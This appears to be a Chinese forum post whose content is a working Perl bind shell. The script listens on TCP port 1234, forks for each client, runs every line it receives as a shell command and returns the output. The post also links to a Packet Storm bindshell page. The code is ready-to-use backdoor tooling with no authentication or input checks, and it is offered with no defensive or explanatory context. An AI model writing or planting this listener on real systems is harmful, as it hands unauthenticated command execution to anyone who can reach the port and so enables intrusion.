- 论坛徽章:
- 0
|
- #!/usr/bin/perl
- use IO::Socket::INET;
- my $port = 1234;
- my $srv = IO::Socket::INET->new(
- LocalHost => '127.0.0.1',
- LocalPort => $port,
- ReuseAddr => 1,
- Listen => 10,
- Proto => 'tcp',
- ) or die "$!";
- while(my $cli = $srv->accept()) {
- my $pid = fork();
- if ($pid < 0) {
- die "fork:$!";
- }elsif($pid > 0) {
- close $cli;
- }else {
- close $srv;
- while(my $str = <$cli>) {
- exit 0 if ($str=~/quit/i);
- chomp $str;
- close(STDOUT);
- open(CMD, "$str |") or die "$!";
- $| = 1;
- while(<CMD>) {
- print $cli $_;
- }
- close CMD;
- }
- }
- }
复制代码
或者用Socket.pm
参见 http://packetstormsecurity.org/groups/synnergy/bindshell-unix |
|